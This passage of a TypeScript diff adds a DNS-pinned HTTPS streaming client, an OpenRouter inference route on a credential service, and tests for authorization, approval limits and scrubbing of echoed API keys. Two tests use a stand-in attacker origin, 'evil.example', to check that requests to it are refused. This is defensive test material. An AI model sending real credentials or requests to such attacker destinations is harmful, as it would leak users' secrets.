+export type PinnedHttpsStreamClient = { readonly stream: (request: OutboundRequest) => Promise };
+
+export function createPinnedHttpsStreamClient({
+ resolveHost,
+ isPublic,
+ limits = DEFAULT_PINNED_STREAM_LIMITS,
+ ca,
+}: {
+ readonly resolveHost: ResolveHost;
+ readonly isPublic: (address: string) => boolean;
+ readonly limits?: PinnedStreamLimits;
+ /** Extra trust anchors — tests only; production uses the system store. */
+ readonly ca?: string;
+}): PinnedHttpsStreamClient {
+ let inFlight = 0;
+
+ return {
+ async stream(outbound) {
+ if (inFlight >= limits.maxConcurrent) return { kind: 'refused', reason: 'busy' };
+ inFlight += 1;
+ let released = false;
+ const release = () => {
+ if (released) return;
+ released = true;
+ inFlight -= 1;
+ };
+ let answers: readonly { readonly address: string; readonly family: 4 | 6 }[];
+ try {
+ answers = await resolveHost(outbound.hostname);
+ } catch {
+ release();
+ return { kind: 'refused', reason: 'dns_failed' };
+ }
+ const pinned = decidePinnedAddress({ addresses: answers.map((answer) => ({ ...answer, isPublic: isPublic(answer.address) })) });
+ if (!pinned.ok) {
+ release();
+ return { kind: 'refused', reason: pinned.reason };
+ }
+ const outcome = await streamPinned(outbound, pinned, limits, ca);
+ if (outcome.kind === 'response') void outcome.closed.finally(release);
+ else release();
+ return outcome;
+ },
+ };
+}
+
+function streamPinned(outbound: OutboundRequest, pinned: { readonly address: string; readonly family: 4 | 6 }, limits: PinnedStreamLimits, ca: string | undefined): Promise {
+ return new Promise((resolve) => {
+ let settled = false;
+ let handshakeDone = false;
+ let response: IncomingMessage | null = null;
+ let closeResult: (how: 'complete' | 'cut') => void = () => undefined;
+ const closed = new Promise<'complete' | 'cut'>((done) => {
+ closeResult = done;
+ });
+ const settle = (outcome: StreamSendOutcome) => {
+ if (settled) return;
+ settled = true;
+ if (outcome.kind !== 'response') {
+ clearTimeout(timer);
+ closeResult('cut');
+ }
+ resolve(outcome);
+ };
+
+ const pinnedLookup: LookupFunction = (_hostname, options, callback) => {
+ if (options.all === true) callback(null, [{ address: pinned.address, family: pinned.family } satisfies LookupAddress]);
+ else callback(null, pinned.address, pinned.family);
+ };
+ const url = new URL(outbound.url);
+ const headers: Record = {};
+ for (const [name, value] of outbound.headers) headers[name] = value;
+
+ const req = httpsRequest({
+ host: outbound.hostname,
+ servername: outbound.hostname,
+ port: outbound.port,
+ method: outbound.method,
+ path: `${url.pathname}${url.search}`,
+ headers,
+ agent: false,
+ ca,
+ lookup: pinnedLookup,
+ });
+
+ const abort = () => {
+ response?.destroy();
+ req.destroy();
+ };
+ const timer = setTimeout(() => {
+ abort();
+ settle({ kind: 'failed', phase: handshakeDone ? 'after_send' : 'before_send', reason: 'timeout' });
+ closeResult('cut');
+ }, limits.totalTimeoutMs);
+
+ req.on('socket', (socket) => {
+ socket.once('secureConnect', () => {
+ handshakeDone = true;
+ });
+ });
+ req.on('upgrade', (_res, socket) => {
+ socket.destroy();
+ settle({ kind: 'failed', phase: 'after_send', reason: 'upgrade_refused' });
+ });
+ req.on('error', (error: NodeJS.ErrnoException) => {
+ if (settled) return;
+ if (handshakeDone) return settle({ kind: 'failed', phase: 'after_send', reason: 'network' });
+ const tls = typeof error.code === 'string' && (error.code.startsWith('ERR_TLS') || error.code.includes('CERT') || error.code === 'DEPTH_ZERO_SELF_SIGNED_CERT' || error.code === 'SELF_SIGNED_CERT_IN_CHAIN');
+ settle({ kind: 'failed', phase: 'before_send', reason: tls ? 'tls' : 'connect' });
+ });
+ req.on('response', (res) => {
+ response = res;
+ if (res.statusCode === 101) {
+ abort();
+ return settle({ kind: 'failed', phase: 'after_send', reason: 'upgrade_refused' });
+ }
+ const pairs: [string, string][] = [];
+ for (let index = 0; index + 1 < res.rawHeaders.length; index += 2) pairs.push([res.rawHeaders[index]!.toLowerCase(), res.rawHeaders[index + 1]!]);
+ let ended = false;
+ res.once('end', () => {
+ ended = true;
+ });
+ res.once('close', () => {
+ clearTimeout(timer);
+ closeResult(ended ? 'complete' : 'cut');
+ });
+ async function* body(): AsyncGenerator {
+ let size = 0;
+ try {
+ for await (const chunk of res as AsyncIterable) {
+ const room = limits.maxResponseBytes - size;
+ if (chunk.byteLength > room) {
+ if (room > 0) yield new Uint8Array(chunk.subarray(0, room));
+ abort();
+ return;
+ }
+ size += chunk.byteLength;
+ yield new Uint8Array(chunk);
+ }
+ } catch {
+ // A reset mid-stream ends the stream; `closed` reports it as cut.
+ } finally {
+ if (!ended) abort();
+ }
+ }
+ settle({ kind: 'response', status: res.statusCode ?? 0, headers: pairs, body: body(), closed, abort });
+ });
+
+ req.end(Buffer.from(outbound.body));
+ });
+}
diff --git a/packages/lib/src/agent-accounts/executor/plane-http-adapter.ts b/packages/lib/src/agent-accounts/executor/plane-http-adapter.ts
index 90b2c90d64..5a441ca80d 100644
--- a/packages/lib/src/agent-accounts/executor/plane-http-adapter.ts
+++ b/packages/lib/src/agent-accounts/executor/plane-http-adapter.ts
@@ -47,9 +47,13 @@ import type { SshClient } from './ssh-client';
import { generateSshKeyPair } from './ssh-client';
import type { SshCommandExecutor } from './ssh-command-executor';
import { sshTargetOf } from '../ssh/ssh-command';
+import type { InferenceExecutor, InferenceStarted } from './inference-executor';
+import { INFERENCE_UPSTREAM_HEADER, INFERENCE_UPSTREAM_STATUS_HEADER, planeInferenceStreamBody } from './plane-wire';
import { planeSshEnrollBody, planeSshExecBody, planeSshHostKeyBody, type PlaneSshEnrollResult, type PlaneSshHostKeyResult } from './plane-wire';
const MAX_BODY_BYTES = 1_500_000;
+/** A model call's body (≤ 8 MiB of text) JSON-escaped inside the signed envelope. */
+const MAX_INFERENCE_BODY_BYTES = 20 * 1024 * 1024;
/** The liveness probe the image HEALTHCHECK and Fly's `[checks.health]` call. */
export const PLANE_HEALTH_PATH = '/health';
@@ -63,18 +67,20 @@ export type PlaneRequestHandlerDeps = {
readonly executor: HttpRequestExecutor;
/** SSH accounts (slice 5): the transport for host-key probes and the command executor; null = SSH is off. */
readonly ssh: { readonly client: Pick; readonly executor: SshCommandExecutor } | null;
+ /** A person's own model key (ADR 0009): the streamed model-call executor; null = inference is off. */
+ readonly inference: InferenceExecutor | null;
readonly hmac: (key: string, text: string) => string;
readonly sha256: (bytes: Uint8Array) => string;
readonly now: () => number;
};
-function readBody(req: IncomingMessage): Promise {
+function readBody(req: IncomingMessage, maxBytes: number): Promise {
return new Promise((resolve) => {
const chunks: Buffer[] = [];
let size = 0;
req.on('data', (chunk: Buffer) => {
size += chunk.byteLength;
- if (size > MAX_BODY_BYTES) {
+ if (size > maxBytes) {
resolve(null);
req.destroy();
return;
@@ -92,6 +98,35 @@ function send(res: ServerResponse, status: number, body: unknown): void {
res.end(text);
}
+/**
+ * Stream an upstream answer back to the web process: the scrubbed bytes, OpenRouter's status beside them,
+ * and only a content type the executor released. When the web process goes away the upstream call stops.
+ */
+async function pipeInference(req: IncomingMessage, res: ServerResponse, started: InferenceStarted): Promise {
+ res.writeHead(200, {
+ 'content-type': started.contentType,
+ 'cache-control': 'no-store',
+ [INFERENCE_UPSTREAM_HEADER]: 'upstream',
+ [INFERENCE_UPSTREAM_STATUS_HEADER]: String(started.status),
+ });
+ let open = true;
+ res.on('close', () => {
+ open = false;
+ started.cancel();
+ });
+ req.on('aborted', () => started.cancel());
+ try {
+ for await (const chunk of started.body) {
+ if (!open) break;
+ if (!res.write(chunk)) await new Promise((resume) => res.once('drain', resume));
+ }
+ } catch {
+ started.cancel();
+ }
+ if (open) res.end();
+ await started.finished;
+}
+
function parseJson(bytes: Uint8Array): unknown {
try {
return JSON.parse(new TextDecoder().decode(bytes));
@@ -106,7 +141,7 @@ export function createPlaneRequestHandler(deps: PlaneRequestHandlerDeps): (req:
// Liveness for the platform's probe: unauthenticated, GET-only, and it says nothing beyond "up".
if (req.method === 'GET' && path === PLANE_HEALTH_PATH) return send(res, 200, { ok: true });
if (req.method !== 'POST'|| !Object.values(PLANE_ROUTES).includes(path as never)) return send(res, 404, { error: 'not_found' });
- const body = await readBody(req);
+ const body = await readBody(req, path === PLANE_ROUTES.inferenceStream ? MAX_INFERENCE_BODY_BYTES : MAX_BODY_BYTES);
if (body === null) return send(res, 413, { error: 'too_large' });
const header = req.headers[PLANE_SIGNATURE_HEADER];
const signature = decidePlaneRequestSignature({ header: typeof header === 'string' ? header : null, method: 'POST', path, body, secret: deps.secret, now: deps.now(), hmac: deps.hmac, sha256: deps.sha256 });
@@ -267,6 +302,26 @@ export function createPlaneRequestHandler(deps: PlaneRequestHandlerDeps): (req:
return send(res, 200, result);
}
+ if (path === PLANE_ROUTES.inferenceStream) {
+ const parsed = planeInferenceStreamBody.safeParse(json);
+ if (!parsed.success) return send(res, 400, { error: 'malformed' });
+ if (deps.inference === null) return send(res, 404, { error: 'not_found' });
+ const { grant, signature: grantSignature, body: modelBody, run } = parsed.data;
+ const result = await deps.inference.execute({
+ grant,
+ signature: grantSignature,
+ body: modelBody,
+ run: {
+ human: { userId: run.human.userId as UserId, sessionId: run.human.sessionId as SessionId | null },
+ agentPageId: null,
+ conversationId: run.conversationId as ConversationId,
+ runId: run.runId as RunId,
+ },
+ });
+ if (!result.ok) return send(res, 200, result);
+ return pipeInference(req, res, result);
+ }
+
if (path === PLANE_ROUTES.usage) {
const parsed = planeUsageBody.safeParse(json);
if (!parsed.success) return send(res, 400, { error: 'malformed' });
diff --git a/packages/lib/src/agent-accounts/executor/plane-wire.ts b/packages/lib/src/agent-accounts/executor/plane-wire.ts
index 3248ba506f..8b45a30043 100644
--- a/packages/lib/src/agent-accounts/executor/plane-wire.ts
+++ b/packages/lib/src/agent-accounts/executor/plane-wire.ts
@@ -128,6 +128,32 @@ export const planeSshExecBody = z
})
.strict();
+/**
+ * One model call on a person's own model key (ADR 0009): the exact chat-completions body text, under a signed
+ * `inference-executor` grant. The plane answers either a refusal (JSON) or the upstream's stream itself, marked
+ * with `INFERENCE_UPSTREAM_HEADER`.
+ */
+export const planeInferenceStreamBody = z
+ .object({
+ grant: z.unknown(),
+ signature: z.string().min(1).max(512),
+ body: z.string().min(2).max(8 * 1024 * 1024),
+ run: z
+ .object({
+ human: z.object({ userId: z.string().min(1), sessionId: z.string().min(1).nullable() }).strict(),
+ agentPageId: z.null(),
+ conversationId: z.string().min(1),
+ runId: z.string().min(1),
+ })
+ .strict(),
+ })
+ .strict();
+
+/** Present (value `upstream`) when the plane's response body IS the upstream's response. */
+export const INFERENCE_UPSTREAM_HEADER = 'x-pagespace-inference';
+/** The upstream's own HTTP status, carried beside it. */
+export const INFERENCE_UPSTREAM_STATUS_HEADER = 'x-pagespace-upstream-status';
+
/** The policy window's counters for a ref (the plane's own usage ledger). */
export const planeUsageBody = z.object({ ref }).strict();
@@ -166,6 +192,9 @@ export type PlaneOAuthExchangeBody = z.infer;
export type PlaneSshHostKeyBody = z.infer;
export type PlaneSshEnrollBody = z.infer;
export type PlaneSshExecBody = z.infer;
+export type PlaneInferenceStreamBody = z.infer;
+/** Why a model call never reached OpenRouter. The reasons are the person's, never an agent's. */
+export type PlaneInferenceRefusal = { readonly ok: false; readonly reason: 'refused' | 'limits_exceeded' | 'upstream_unreachable' | 'audit_unavailable' };
export type PlaneSshHostKeyResult = { readonly ok: true; readonly fingerprint: string; readonly algorithm: string } | { readonly ok: false; readonly reason: 'unresolvable' | 'address_refused' | 'unreachable' | 'timeout' | 'host_key_mismatch' | 'auth_failed' };
export type PlaneSshEnrollResult =
| { readonly ok: true; readonly version: number; readonly publicKey: string }
@@ -209,5 +238,6 @@ export const PLANE_ROUTES = {
sshHostKey: '/v1/ssh/hostkey',
sshEnroll: '/v1/ssh/enroll',
sshExec: '/v1/ssh/exec',
+ inferenceStream: '/v1/inference/stream',
execute: '/v1/http/execute',
} as const;
diff --git a/packages/lib/src/agent-accounts/executor/plane-worker.ts b/packages/lib/src/agent-accounts/executor/plane-worker.ts
index 24e2d2b7b0..3c3a572853 100644
--- a/packages/lib/src/agent-accounts/executor/plane-worker.ts
+++ b/packages/lib/src/agent-accounts/executor/plane-worker.ts
@@ -42,6 +42,8 @@ import { AGENT_ACCOUNT_OPERATIONS } from '../registry/google-operations';
import { createPlaneRefreshWorker } from './plane-refresh';
import { createSshClient } from './ssh-client';
import { createSshCommandExecutor } from './ssh-command-executor';
+import { createInferenceExecutor } from './inference-executor';
+import { createPinnedHttpsStreamClient } from './pinned-https-stream';
const sha3: HashBytes = (bytes) => createHash('sha3-256').update(bytes).digest('hex');
const sha256: HashBytes = (bytes) => createHash('sha256').update(bytes).digest('hex');
@@ -150,6 +152,24 @@ export async function startCredentialPlane({ config }: { readonly config: PlaneC
now: () => Date.now(),
rotationGraceMs: 300_000,
});
+ // A person's own model key (ADR 0009): streamed model calls to openrouter.ai, public addresses only.
+ const inferenceExecutor = createInferenceExecutor({
+ store,
+ provisioner,
+ accounts: createAgentAccountRepository({ db }),
+ grantGate: createGrantGate({ replayStore: createReplayStoreRepository({ db }) }),
+ audited: createAuditedExecutor({ auditRepository: createAgentAccountAuditRepository({ appendPath: createSecurityAuditRepository({ db }) }), hash: sha3 }),
+ network: createPinnedHttpsStreamClient({ resolveHost, isPublic: isPublicIp }),
+ planeScope: (ref) => metadata.read(ref).then((facts) => facts?.scope ?? null),
+ usage,
+ issuerPublicKey: config.authorityPublicKey,
+ presenterKeyId: config.presenterKeyId,
+ verify: verifyEd25519,
+ hash: sha3,
+ sha256,
+ now: () => Date.now(),
+ rotationGraceMs: 300_000,
+ });
const server = createServer(
createPlaneRequestHandler({
secret: config.serviceSecret,
@@ -159,6 +179,7 @@ export async function startCredentialPlane({ config }: { readonly config: PlaneC
provisioner,
executor,
ssh: { client: sshClient, executor: sshExecutor },
+ inference: inferenceExecutor,
hmac: (key, text) => createHmac('sha256', key).update(text).digest('hex'),
sha256,
now: () => Date.now(),
diff --git a/packages/lib/src/agent-accounts/grant.ts b/packages/lib/src/agent-accounts/grant.ts
index ef4f534435..289424d31e 100644
--- a/packages/lib/src/agent-accounts/grant.ts
+++ b/packages/lib/src/agent-accounts/grant.ts
@@ -62,7 +62,7 @@ export type GrantIssuer = 'pagespace-account-authority';
* Who may PRESENT a grant to the plane. Executors only; the sandbox guest is
* never a channel (ADR 0006). `refresh-worker` may resolve `oauth2` only.
*/
-export type PresenterChannel = 'http-executor' | 'relay-runner' | 'browser-worker' | 'refresh-worker' | 'ssh-executor';
+export type PresenterChannel = 'http-executor' | 'relay-runner' | 'browser-worker' | 'refresh-worker' | 'ssh-executor' | 'inference-executor';
/** The channels that may call `resolve` for end-user operations (ADR 0005 §2.1). */
export type ExecutorChannel = Exclude;
diff --git a/packages/lib/src/agent-accounts/inference/__tests__/authorize-inference.test.ts b/packages/lib/src/agent-accounts/inference/__tests__/authorize-inference.test.ts
new file mode 100644
index 0000000000..05eb05243e
--- /dev/null
+++ b/packages/lib/src/agent-accounts/inference/__tests__/authorize-inference.test.ts
@@ -0,0 +1,163 @@
+/**
+ * ADR 0009 — `authorizeInference`: one model call on a person's own model key. Pinned here:
+ * - only the acting human's OWN model key is usable, and an account that is not a model key never is;
+ * - the grant is for the inference executor and never names an agent page;
+ * - a live session or the person's inference delegation stands for them; neither → nothing is issued;
+ * - the policy written at enrollment covers every call within its limits, and refuses past them;
+ * - `authorize` (http_request) refuses a model key outright, so an agent cannot reach it as a tool.
+ */
+import { describe, expect, it } from 'vitest';
+import { createHash } from 'node:crypto';
+import type { AgentAccountRecord } from '@pagespace/db/schema/agent-accounts';
+import type { ConversationId, DelegationId, GrantId, HashBytes, Nonce, PresenterKeyId, RunId, SessionId, UserId } from '../../grant';
+import { authorize, authorizeInference } from '../../authorize';
+import { INFERENCE_ORIGIN, MODEL_KEY_PROVIDER_SLUG, MODEL_KEY_SCOPE, modelKeyApprovalPolicy } from '../model-key';
+import { OPERATION_REGISTRY_FIXTURE } from '../../__tests__/operation-registry.fixture';
+
+const sha3: HashBytes = (bytes) => createHash('sha3-256').update(bytes).digest('hex');
+const sha256: HashBytes = (bytes) => createHash('sha256').update(bytes).digest('hex');
+const NOW = 1_800_000_000_000;
+const HUMAN = 'user_h' as UserId;
+const body = JSON.stringify({ model: 'openai/gpt-5.5', messages: [{ role: 'user', content: 'hi' }], stream: true });
+
+const modelKey = {
+ id: 'acct_mk',
+ kind: 'api_key',
+ ownerKind: 'user',
+ ownerUserId: HUMAN,
+ ownerAgentPageId: null,
+ ownerDriveId: null,
+ tenantId: `user:${HUMAN}`,
+ name: 'OpenRouter model key',
+ providerSlug: MODEL_KEY_PROVIDER_SLUG,
+ allowedOrigins: [INFERENCE_ORIGIN],
+ auxiliaryOrigins: [],
+ resourceRestrictions: {},
+ approvalPolicy: modelKeyApprovalPolicy({ approver: HUMAN }),
+ credentialVersion: 1,
+ policyVersion: 1,
+ acknowledgment: 'dedicated_agent_account',
+ sessionFormat: null,
+ sessionHttpEnabled: false,
+ status: 'active',
+ upstreamRevocation: null,
+ lastUsedAt: null,
+ createdAt: new Date(NOW - 10_000),
+ updatedAt: new Date(NOW - 10_000),
+ revokedAt: null,
+} as unknown as AgentAccountRecord;
+
+const delegation = {
+ kind: 'delegation' as const,
+ delegationId: 'del_1' as DelegationId,
+ accountId: 'acct_mk' as never,
+ agentPageId: null,
+ delegatedBy: HUMAN,
+ scope: MODEL_KEY_SCOPE,
+ expired: false,
+ revoked: false,
+};
+
+type Overrides = {
+ readonly account?: AgentAccountRecord | null;
+ readonly sessionId?: SessionId | null;
+ readonly actingHumanUserId?: UserId;
+ readonly delegation?: typeof delegation | { readonly kind: 'none' };
+ readonly usage?: { usesThisHour: number; bytesOutThisHour: number; concurrent: number };
+ readonly body?: string;
+};
+
+function run(overrides: Overrides = {}) {
+ const human = overrides.actingHumanUserId ?? HUMAN;
+ return authorizeInference({
+ caller: {
+ actorUserId: human,
+ actingHumanUserId: human,
+ sessionId: overrides.sessionId === undefined ? ('sess_1' as SessionId) : overrides.sessionId,
+ conversationId: 'conv_1' as ConversationId,
+ runId: 'run_1' as RunId,
+ callerCeiling: { allowedDriveIds: [], originatingMcpTokenId: null },
+ },
+ account: overrides.account === undefined ? modelKey : overrides.account,
+ facts: { humanDriveRole: null, agentPagePermission: 'none', agentBoundToAccount: false, boundAgentPageIds: [], delegation: overrides.delegation ?? { kind: 'none' }, ceilingAdmitsAccount: true },
+ body: overrides.body ?? body,
+ sha256,
+ approvals: [],
+ usage: overrides.usage ?? { usesThisHour: 0, bytesOutThisHour: 0, concurrent: 0 },
+ presenter: { keyId: 'pk_1' as PresenterKeyId, channel: 'inference-executor' },
+ now: NOW,
+ grantId: 'g_1' as GrantId,
+ nonce: 'n_1' as Nonce,
+ ttlMs: 60_000,
+ hash: sha3,
+ });
+}
+
+describe('authorizeInference', () => {
+ it('given the person in a live session and their own model key, should issue an inference-executor grant naming no agent page, by policy', () => {
+ const actual = run();
+ expect(actual.ok && { aud: actual.grant.aud, agentPageId: actual.grant.agentPageId, approvalId: actual.grant.approvalId, op: actual.grant.operation, delegationId: actual.grant.delegationId, resources: actual.canonical.resources }).toEqual({
+ aud: 'inference-executor',
+ agentPageId: null,
+ approvalId: 'policy',
+ op: { class: 'write', name: 'openrouter.chat_completion' },
+ delegationId: null,
+ resources: [['model', 'openai/gpt-5.5']],
+ });
+ });
+
+ it('given an unattended run with the inference delegation, should carry the delegation; without one, should issue nothing', () => {
+ const delegated = run({ sessionId: null, delegation });
+ const none = run({ sessionId: null });
+ expect([delegated.ok && delegated.grant.delegationId, none.ok ? 'issued' : none.reason]).toEqual(['del_1', 'account_unavailable']);
+ });
+
+ it('given someone else running the call, should be unavailable exactly as a missing key', () => {
+ expect([run({ actingHumanUserId: 'user_other' as UserId }), run({ account: null })].map((verdict) => (verdict.ok ? 'issued' : verdict.reason))).toEqual(['account_unavailable', 'account_unavailable']);
+ });
+
+ it('given an ordinary api_key account, a revoked model key or a not-yet-stored one, should refuse', () => {
+ const actual = [
+ run({ account: { ...modelKey, providerSlug: null } as AgentAccountRecord }),
+ run({ account: { ...modelKey, status: 'revoked' } as AgentAccountRecord }),
+ run({ account: { ...modelKey, credentialVersion: 0 } as AgentAccountRecord }),
+ ].map((verdict) => (verdict.ok ? 'issued' : verdict.reason));
+ expect(actual).toEqual(['account_unavailable', 'account_unavailable', 'not_provisioned']);
+ });
+
+ it('given a model key whose stored origin is not OpenRouter, should refuse the destination', () => {
+ const actual = run({ account: { ...modelKey, allowedOrigins: ['https://evil.example'] } as AgentAccountRecord });
+ expect(actual.ok ? 'issued' : actual.reason).toBe('destination_denied');
+ });
+
+ it('given the hourly ceiling reached, should refuse with limits_exceeded rather than ask anyone', () => {
+ const actual = run({ usage: { usesThisHour: 1200, bytesOutThisHour: 0, concurrent: 0 } });
+ expect(actual.ok ? 'issued' : actual.reason).toBe('limits_exceeded');
+ });
+
+ it('given a body that is not a model call, should refuse the request', () => {
+ const actual = run({ body: '{"messages":[]}' });
+ expect(actual.ok ? 'issued' : actual.reason).toBe('request_refused');
+ });
+});
+
+describe('authorize (http_request) on a model key', () => {
+ it('given an agent asking to send a request with a model key, should refuse it as an unsupported kind', () => {
+ const actual = authorize({
+ caller: { actorUserId: HUMAN, actingHumanUserId: HUMAN, sessionId: 'sess_1' as SessionId, agentPageId: null, conversationId: 'conv_1' as ConversationId, runId: 'run_1' as RunId, callerCeiling: { allowedDriveIds: [], originatingMcpTokenId: null } },
+ account: modelKey,
+ facts: { humanDriveRole: null, agentPagePermission: 'none', agentBoundToAccount: false, boundAgentPageIds: [], delegation: { kind: 'none' }, ceilingAdmitsAccount: true },
+ request: { channel: 'http-executor', method: 'POST', url: 'https://openrouter.ai/api/v1/chat/completions', headers: { 'content-type': 'application/json' }, body: new TextEncoder().encode(body) },
+ registry: OPERATION_REGISTRY_FIXTURE,
+ approvals: [],
+ usage: { usesThisHour: 0, bytesOutThisHour: 0, concurrent: 0 },
+ presenter: { keyId: 'pk_1' as PresenterKeyId, channel: 'http-executor' },
+ now: NOW,
+ grantId: 'g_1' as GrantId,
+ nonce: 'n_1' as Nonce,
+ ttlMs: 60_000,
+ hash: sha3,
+ });
+ expect(actual.ok ? 'issued' : actual.reason).toBe('kind_not_supported');
+ });
+});
diff --git a/packages/lib/src/agent-accounts/inference/__tests__/model-key.test.ts b/packages/lib/src/agent-accounts/inference/__tests__/model-key.test.ts
new file mode 100644
index 0000000000..d88dd702f9
--- /dev/null
+++ b/packages/lib/src/agent-accounts/inference/__tests__/model-key.test.ts
@@ -0,0 +1,74 @@
+import { describe, it, expect } from 'vitest';
+import { createHash } from 'node:crypto';
+import type { UserId } from '../../grant';
+import { canonicalizeInferenceRequest, isModelKeyAccount, MAX_INFERENCE_BODY_BYTES, MODEL_KEY_PROVIDER_SLUG, modelKeyApprovalPolicy } from '../model-key';
+import { decideApproval } from '../../decide-approval';
+
+const sha256 = (bytes: Uint8Array) => createHash('sha256').update(bytes).digest('hex');
+const body = JSON.stringify({ model: 'anthropic/claude-sonnet-5.5', messages: [{ role: 'user', content: 'hi' }], stream: true });
+
+describe('canonicalizeInferenceRequest', () => {
+ it('given a chat-completions body, should pin POST to OpenRouter, digest the exact bytes and bind the model', () => {
+ const actual = canonicalizeInferenceRequest({ body, sha256 });
+ expect(actual.ok && { ...actual.canonical, bodySha256: actual.canonical.bodySha256 === sha256(new TextEncoder().encode(body)) }).toEqual({
+ channel: 'inference-executor',
+ method: 'POST',
+ origin: 'https://openrouter.ai:443',
+ path: '/api/v1/chat/completions',
+ query: [],
+ headers: [['content-type', 'application/json']],
+ bodySha256: true,
+ resources: [['model', 'anthropic/claude-sonnet-5.5']],
+ operation: { class: 'write', name: 'openrouter.chat_completion' },
+ });
+ });
+
+ it('given one changed byte, should produce a different digest', () => {
+ const a = canonicalizeInferenceRequest({ body, sha256 });
+ const b = canonicalizeInferenceRequest({ body: body.replace('hi', 'ho'), sha256 });
+ expect(a.ok && b.ok && a.canonical.bodySha256 !== b.canonical.bodySha256).toBe(true);
+ });
+
+ it('given a body that is not a JSON object, has no usable model, or is too large, should refuse', () => {
+ const actual = [
+ canonicalizeInferenceRequest({ body: 'nope', sha256 }),
+ canonicalizeInferenceRequest({ body: '[1]', sha256 }),
+ canonicalizeInferenceRequest({ body: JSON.stringify({ model: '' }), sha256 }),
+ canonicalizeInferenceRequest({ body: JSON.stringify({ model: 'a b' }), sha256 }),
+ canonicalizeInferenceRequest({ body: JSON.stringify({ model: 'm', pad: 'x'.repeat(MAX_INFERENCE_BODY_BYTES) }), sha256 }),
+ ].map((verdict) => (verdict.ok ? 'ok' : verdict.reason));
+ expect(actual).toEqual(['body_not_json', 'body_not_json', 'model_invalid', 'model_invalid', 'body_too_large']);
+ });
+});
+
+describe('modelKeyApprovalPolicy', () => {
+ const policy = modelKeyApprovalPolicy({ approver: 'u1' as UserId });
+ const canonical = (() => {
+ const verdict = canonicalizeInferenceRequest({ body, sha256 });
+ if (!verdict.ok) throw new Error('fixture');
+ return verdict.canonical;
+ })();
+ const decide = (usage: { usesThisHour: number; bytesOutThisHour: number; concurrent: number }, origin = canonical.origin) =>
+ decideApproval({ operation: canonical.operation, restrictions: {}, delegationScope: policy.scope, policy, requestDigest: 'd' as never, origin, resources: canonical.resources, now: 1, usage });
+
+ it('given a model call within the limits, should allow it by policy without asking', () => {
+ expect(decide({ usesThisHour: 0, bytesOutThisHour: 0, concurrent: 0 })).toEqual({ kind: 'policy' });
+ });
+
+ it('given the hourly or concurrency ceiling reached, should refuse rather than ask', () => {
+ expect([decide({ usesThisHour: 1200, bytesOutThisHour: 0, concurrent: 0 }), decide({ usesThisHour: 0, bytesOutThisHour: 0, concurrent: 12 })]).toEqual([
+ { kind: 'refuse', reason: 'limits_exceeded' },
+ { kind: 'refuse', reason: 'limits_exceeded' },
+ ]);
+ });
+
+ it('given any other origin, should be outside the delegated scope', () => {
+ expect(decide({ usesThisHour: 0, bytesOutThisHour: 0, concurrent: 0 }, 'https://evil.example' as never)).toEqual({ kind: 'refuse', reason: 'out_of_scope' });
+ });
+});
+
+describe('isModelKeyAccount', () => {
+ it('given the reserved slug, should be a model key; any other slug or none, should not', () => {
+ expect([isModelKeyAccount({ providerSlug: MODEL_KEY_PROVIDER_SLUG }), isModelKeyAccount({ providerSlug: 'google' }), isModelKeyAccount({ providerSlug: null })]).toEqual([true, false, false]);
+ });
+});
diff --git a/packages/lib/src/agent-accounts/inference/__tests__/stream-scrubber.test.ts b/packages/lib/src/agent-accounts/inference/__tests__/stream-scrubber.test.ts
new file mode 100644
index 0000000000..9eb7d1b90a
--- /dev/null
+++ b/packages/lib/src/agent-accounts/inference/__tests__/stream-scrubber.test.ts
@@ -0,0 +1,45 @@
+import { describe, it, expect } from 'vitest';
+import { createStreamScrubber, SCRUBBED } from '../stream-scrubber';
+
+const KEY = 'sk-or-v1-0123456789abcdef0123456789abcdef';
+const enc = (text: string) => new TextEncoder().encode(text);
+const run = (chunks: readonly Uint8Array[], knownValues: readonly string[] = [KEY]) => {
+ const scrubber = createStreamScrubber({ knownValues });
+ const parts = [...chunks.map((chunk) => scrubber.push(chunk)), scrubber.flush()];
+ return { text: Buffer.concat(parts.map((part) => Buffer.from(part))).toString('utf8'), redacted: scrubber.redacted() };
+};
+
+describe('createStreamScrubber', () => {
+ it('given a stream that never contains the key, should pass every byte through unchanged', () => {
+ const body = 'data: {"choices":[{"delta":{"content":"hello"}}]}\n\ndata: [DONE]\n\n';
+ expect(run([enc(body.slice(0, 7)), enc(body.slice(7))])).toEqual({ text: body, redacted: false });
+ });
+
+ it('given the key echoed inside one chunk, should remove it', () => {
+ expect(run([enc(`data: {"echo":"${KEY}"}\n\n`)])).toEqual({ text: `data: {"echo":"${SCRUBBED}"}\n\n`, redacted: true });
+ });
+
+ it('given the key split across chunks at every possible point, should still remove it', () => {
+ const body = `before ${KEY} after`;
+ const actual = new Set(Array.from({ length: body.length - 1 }, (_, cut) => run([enc(body.slice(0, cut + 1)), enc(body.slice(cut + 1))]).text));
+ expect([...actual]).toEqual([`before ${SCRUBBED} after`]);
+ });
+
+ it('given the key arriving one byte at a time, should remove it', () => {
+ const body = `x${KEY}y`;
+ expect(run([...enc(body)].map((byte) => Uint8Array.of(byte))).text).toBe(`x${SCRUBBED}y`);
+ });
+
+ it('given a multi-byte character cut at a chunk boundary, should keep it intact', () => {
+ const bytes = enc('héllo — ok');
+ expect(run([bytes.slice(0, 2), bytes.slice(2)]).text).toBe('héllo — ok');
+ });
+
+ it('given both the key and its "Bearer" form, should remove the longer form whole', () => {
+ expect(run([enc(`a Bearer ${KEY} b`)], [KEY, `Bearer ${KEY}`]).text).toBe(`a ${SCRUBBED} b`);
+ });
+
+ it('given values too short to be secrets, should not scrub them', () => {
+ expect(run([enc('the cat sat')], ['cat']).text).toBe('the cat sat');
+ });
+});
diff --git a/packages/lib/src/agent-accounts/inference/model-key.ts b/packages/lib/src/agent-accounts/inference/model-key.ts
new file mode 100644
index 0000000000..b1057709b6
--- /dev/null
+++ b/packages/lib/src/agent-accounts/inference/model-key.ts
@@ -0,0 +1,100 @@
+/**
+ * A PERSON'S OWN MODEL KEY (ADR 0009) — the request model the authority and the
+ * plane's inference executor share. Pure.
+ *
+ * A model key is an ordinary user-owned `api_key` agent account with one
+ * reserved `providerSlug`, pinned to OpenRouter. It is never an agent's tool:
+ * `authorize` (http_request) refuses it, and only `authorizeInference` issues
+ * grants for it, with audience `inference-executor` and `agentPageId: null` —
+ * the key belongs to the person's model calls, not to any one agent page.
+ *
+ * One model call is one CanonicalRequest: POST to the pinned chat-completions
+ * path, the body digested byte for byte, the model id bound as a resource (so
+ * the audit says which model ran, and a restriction could narrow it).
+ */
+import type { AccountApprovalPolicy, ApprovalScope } from '../approval';
+import type { CanonicalOrigin, CanonicalRequest } from '../canonical-request';
